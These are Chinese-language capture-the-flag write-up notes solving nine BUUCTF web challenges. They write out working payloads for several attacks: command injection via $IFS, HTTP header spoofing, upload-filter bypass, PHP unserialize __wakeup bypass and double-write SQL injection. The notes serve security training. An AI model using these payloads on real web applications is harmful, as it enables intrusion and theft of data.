1.BUUCTF刷题-[GXYCTF2019]Ping Ping Ping
参考博客
在尝试了空格,注释等操作后,发现很多字符都被禁止了。按照参考里的提示,试一试linux里的管道符。
返回了文件名,那试试把flag.php打印出来。
对哦,过滤了空格。那试试用"\x00"来代替空格。
过滤了关键词flag。这我没办法了,看答案咯。
接下来查看index.php文件,看网页源码。
可以看到过滤了茫茫多的字符。既然flag被过滤了,那就想想办法构造flag吧。
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
看源码可以知道,有个变量叫$a,将我们所构造的payload上传,原语句就会变成:
$ip=127.0.0.1;
a=g;
cat$IFS$1fla$a.php;
//$IFS是分隔符,$1代表命令行上的的第一个参数,这里的1可以是除0外的任意数字
这样就变相的执行了"cat flag.php"命令,得到flag。
2.BUUCTF刷题-[极客大挑战 2019]Knife
打开题目,就光秃秃的一个一句话木马。
直接用蚁剑连这个地址,连接成功,拿到shell。没什么意思的题。
不过值得思考的是蚁剑这类工具的原理是什么?满足什么样的条件就是可以连接的shell呢?
3.BUUCTF刷题-[极客大挑战 2019]Http
先从源码里找到一个地址,打开。
提示说不是从"https://www.Sycsecret.com"来的,再结合题目上的http,可以联想到http中的referer。
意思是说,我们要访问secret.php的话,referer消息头得是"https://www.Sycsecret.com"。这好办,burp加个消息头完事。
提示 请使用"Syclover"浏览器,当然不是让你去用这个浏览器了。把user_Agent头改成Syclover就可以了。
只能本地访问,那就加一个X_Forwarded_For:127.0.0.1或是X-Real_IP:127.0.0.1就成了呗。
拿到flag。
4.BUUCTF刷题-[极客大挑战 2019]Upload
文件上传漏洞,要做的就是绕过各种检测。
这里要用到的知识点:
1.大多数情况下.phtml与.php可以互换使用;
2.服务端检测字符"<?"来找出php语句,这时可以用js来写一句话。
最终构造的包如下:
5.BUUCTF刷题-[RoarCTF 2019]Easy Calc
参考博客
这里要用到php字符串解析特性知识点。
在源码中我们看到了calc.php文件,访问一下。
先列出几个函数的功能:
error_reporting(0):关闭错误报告。
foreach():foreach 语法结构提供了遍历数组的简单方式。
preg_match():用于执行一个正则表达式匹配。返回 pattern 的匹配次数。 它的值将是 0 次(不匹配)或 1 次,因为 preg_match() 在第一次匹配后 将会停止搜索。
die():输出一条消息,并退出当前脚本。
首先尝试什么样的值可以进行传输:
?num=1
?num=a
?num= a
? num=a
得出结论:当传输的字符串中有字母时,必须在num前加空格。
那么来构造payload吧。
? num=1;var_dump(scandir(chr(47)))
//var_dump():函数用于输出变量的相关信息。
//scandir():返回指定目录中的文件和目录的数组。
//chr():chr() 函数从指定的 ASCII 值返回字符。用chr()来绕过waf。因为char(47)='/',而'/'被拉入黑名单中了,所以用char(47)来避过黑名单。
得到主目录下的文件名及子目录名。
发现f1agg文件,输出它。
? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
//file_get_contents():把整个文件读入一个字符串中。
//chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)等价于/f1agg
得到flag。
6.BUUCTF刷题-[ACTF2020 新生赛]Upload
有点怪,尝试了几种方法绕过检测后上传成功,但是没有被正确解析,第一次遇到这种情况,没头绪。
再试试其他后缀名。后缀改成.phtml就可以用了,奇怪。
7.BUUCTF刷题-[极客大挑战 2019]PHP
一个完全没有交互的页面,源码中也没有任何信息。用御剑扫描一下,把目录文件下载到本地。
看看index.php中的代码。包含了class.php文件。有一个$select参数,并在最后反序列化了。
再看一下class.php,得知在username=admin,password=100时可以获得flag。接下来构造序列化payload。
<?php
class Name
{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password)
{
$this->username = $username;
$this->password = $password;
}
}
$select = new Name('admin', 100);
var_dump(serialize($select));
?>
//O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
但是在class.php中还有个魔术方法weakup(),会将序列化后的值改变,想想办法绕过它。
__wakeup(): 将在序列化之后立即被调用
漏洞原理: 当反序列化字符串中,表示属性个数的值大于其真实值,则跳过__wakeup()执行
将序列化结果改为:O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}。
还远没有结束,此时注意到类中的变量被声明为private成员。
PHP中,public(公共成员)、 private(私有成员)、 protected(保护成员)三者的区别
私有字段的字段名在序列化时,类名和字段名前面都会加上0的前缀。字符串长度也包括所加前缀的长度。
将序列化结果再次修改:O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
搞定。
8.BUUCTF刷题-[极客大挑战 2019]BabySQL
这次过滤了一些关键词,例如select、by等。过滤方式是把这些关键词换为空,可以考虑一下双写绕过。
双写可以绕过,然后尝试找出字段数。
order by 3 的时候不报错,order by 4 的时候报错,原查询有三个字段。然后联合查询注入。
information_schema、or、from、where也被替换掉了。
//库名
ununionion seselectlect 1,2,group_concat(schema_name)frfromom infoorrmation_schema.schemata %23
//ctf库的表
ununionion seselectlect 1,2,
group_concat(table_name)frfromom(infoorrmation_schema.tables)
whwhereere table_schema="ctf" %23
//flag
ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag)%23
//flag{1e6841a4-8077-4a91-a0f1-310dc76ea5c2}
9.BUUCTF刷题-[ACTF2020 新生赛]BackupFile
靶机里啥都没有,名字又叫backupfile,那就是要找备份文件咯。
直接在url后加/index.php.bak即可下载。
看代码,需要绕过intval() 函数。
intval() 函数用于获取变量的整数值。
?key=123
flag{bd37bac3-931c-4e7c-93af-2e4b28920583}